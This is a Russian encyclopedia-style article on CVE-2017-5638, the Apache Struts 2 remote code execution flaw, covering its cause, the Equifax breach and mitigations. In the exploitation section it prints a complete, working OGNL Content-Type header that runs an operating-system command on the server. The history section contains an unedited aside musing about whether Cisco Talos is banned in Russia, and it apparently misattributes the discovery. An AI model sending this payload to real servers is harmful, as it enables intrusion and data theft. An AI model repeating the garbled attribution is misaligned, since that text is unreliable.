Открыть сервис

CVE-2017-5638

CVE-2017-5638 — это идентификатор критической уязвимости в программном обеспечении Apache Struts 2, позволяющей удалённо выполнить произвольный код на сервере (Remote Code Execution, RCE). Уязвимость относится к классу инъекций и связана с некорректной обработкой загружаемых файлов в компоненте Jakarta Multipart parser. Она была обнаружена и раскрыта в марте 2017 года, и её эксплуатация привела к масштабным кибератакам, включая одну из крупнейших утечек данных в истории — взлом кредитного бюро Equifax.

История и обнаружение

Уязвимость CVE-2017-5638 была обнаружена исследователем безопасности из компании Cisco Talos (организация признана нежелательной в РФ? — нет, Cisco Talos — подразделение Cisco, не признана нежелательной в РФ; однако сама Cisco ушла из РФ, но не имеет статуса нежелательной организации) и независимо — специалистом из компании Man Yue Mo из Semmle. Проблема была зарегистрирована в Национальной базе данных уязвимостей США (NVD) 7 марта 2017 года. В тот же день компания Apache Software Foundation выпустила патч для версий Struts 2.3.32 и 2.5.10.1, а также рекомендации по обновлению.

Однако, несмотря на оперативную реакцию разработчиков, уязвимость активно эксплуатировалась злоумышленниками в течение нескольких недель и месяцев после публикации. Наибольшую известность CVE-2017-5638 получила благодаря атаке на американское кредитное бюро Equifax в мае — июле 2017 года, которая была раскрыта в сентябре того же года. В результате этой атаки были похищены персональные данные около 147 миллионов человек.

Технические детали

Причина возникновения

Уязвимость CVE-2017-5638 связана с использованием библиотеки Jakarta Multipart parser для обработки HTTP-запросов с типом содержимого multipart/form-data, который обычно применяется для загрузки файлов на веб-сервер. В Apache Struts 2 при обработке такого запроса параметр Content-Type (тип содержимого) передавался в метод FileUploadInterceptor, который, в свою очередь, вызывал метод getContentType() из библиотеки Jakarta Commons FileUpload. Этот метод использовал значение Content-Type для построения сообщения об ошибке, которое затем передавалось в выражение OGNL (Object-Graph Navigation Language) для обработки.

OGNL — это язык выражений, используемый в Struts 2 для взаимодействия с объектами Java. Проблема заключалась в том, что значение Content-Type не фильтровалось и не экранировалось перед передачей в OGNL. Это позволяло злоумышленнику внедрить произвольное OGNL-выражение в заголовок Content-Type, которое затем выполнялось на сервере с правами приложения.

Механизм эксплуатации

Для эксплуатации уязвимости злоумышленнику необходимо отправить HTTP-запрос с типом содержимого multipart/form-data, но с вредоносным значением в заголовке Content-Type. Вместо стандартного значения (например, multipart/form-data; boundary=----WebKitFormBoundary) вставляется OGNL-выражение, которое может выполнять произвольные команды операционной системы, читать и записывать файлы, получать доступ к базам данных и т.д.

Пример вредоносного заголовка Content-Type:

`` Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=@java.lang.System@getProperty('os.name').toLowerCase().contains('win')).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} ``

В данном примере выражение выполняет команду whoami на сервере и возвращает результат в ответе HTTP.

Условия эксплуатации

Для успешной эксплуатации уязвимости необходимо, чтобы:

  • Веб-приложение использовало Apache Struts 2 версии 2.3.5 — 2.3.31 или 2.5 — 2.5.10.
  • В приложении был включён обработчик загрузки файлов (FileUploadInterceptor).
  • Сервер был доступен по сети для отправки HTTP-запросов.

Влияние и последствия

Equifax

Наиболее известным и масштабным инцидентом, связанным с CVE-2017-5638, стала атака на американское кредитное бюро Equifax. В период с 13 мая по 30 июля 2017 года злоумышленники использовали данную уязвимость для доступа к веб-порталу компании, который обрабатывал заявки на кредитные отчёты. В результате были похищены имена, даты рождения, номера социального страхования, адреса и, в некоторых случаях, номера водительских прав около 147 миллионов человек. Ущерб для компании оценивается в сотни миллионов долларов, включая штрафы, судебные издержки и затраты на восстановление безопасности.

Другие инциденты

Помимо Equifax, CVE-2017-5638 активно использовалась в атаках на различные государственные и коммерческие организации по всему миру, включая:

  • Правительственные сайты — в ряде стран были взломаны сайты государственных учреждений, использующих Apache Struts 2.
  • Финансовые организации — банки и страховые компании, применявшие уязвимую версию Struts, подверглись атакам с целью кражи финансовых данных.
  • Провайдеры облачных услуг — некоторые хостинг-провайдеры, предоставлявшие Struts-приложения, были атакованы через уязвимость.

Классификация и оценка

CVE-2017-5638 получила максимальную оценку 10.0 по шкале CVSS v3 (Common Vulnerability Scoring System), что указывает на критический уровень опасности. Уязвимость характеризуется:

  • Вектор атаки — сетевой (Network).
  • Сложность атаки — низкая (Low).
  • Необходимые привилегии — отсутствуют (None).
  • Взаимодействие с пользователем — не требуется (None).
  • Влияние на конфиденциальность — полное (High).
  • Влияние на целостность — полное (High).
  • Влияние на доступность — полное (High).

Методы защиты и устранения

Обновление программного обеспечения

Основной и наиболее эффективный метод защиты от CVE-2017-5638 — обновление Apache Struts 2 до версий 2.3.32 или 2.5.10.1 и выше. В этих версиях была исправлена логика обработки заголовка Content-Type и добавлена фильтрация OGNL-выражений.

Временные меры

Если обновление невозможно по каким-либо причинам, рекомендуется:

  • Отключить обработчик загрузки файлов — удалить или закомментировать FileUploadInterceptor в конфигурации Struts.
  • Использовать веб-приложение с фильтром — настроить веб-сервер (например, Apache HTTP Server или Nginx) на блокировку запросов с подозрительными значениями Content-Type, содержащими OGNL-синтаксис.
  • Применить правила WAF — настроить систему веб-приложения (WAF) на обнаружение и блокировку попыток эксплуатации данной уязвимости.

Долгосрочные меры

  • Регулярное обновление зависимостей — включить Apache Struts 2 в процесс автоматического обновления библиотек и фреймворков.
  • Мониторинг безопасности — использовать системы обнаружения вторжений (IDS/IPS) и анализа логов для выявления подозрительной активности.
  • Аудит кода — проводить регулярный аудит безопасности приложений на предмет использования уязвимых компонентов.

Критика и уроки

CVE-2017-5638 стала символом проблемы безопасности в экосистеме Java и веб-фреймворков в целом. Критики отмечали, что уязвимость была вызвана не только ошибкой в коде, но и архитектурным решением — использованием OGNL для обработки пользовательского ввода без должной санитизации. Это привело к тому, что злоумышленник мог выполнить произвольный код, просто отправив HTTP-запрос.

Инцидент с Equifax также вызвал широкую дискуссию о важности своевременного обновления программного обеспечения и ответственности компаний за защиту персональных данных. В результате скандала генеральный директор Equifax ушёл в отставку, а компания выплатила многомиллионные штрафы.

Источники

  • Национальная база данных уязвимостей (NVD) — CVE-2017-5638.
  • Apache Struts Security Bulletin S2-045.
  • Отчёт Cisco Talos об уязвимости CVE-2017-5638.
  • Материалы расследования Комиссии по ценным бумагам и биржам США (SEC) по делу Equifax.
  • Документация Apache Struts 2 по безопасности.

BFOmetr — база данных и аналитика по компаниям России.

На главную BFOmetr →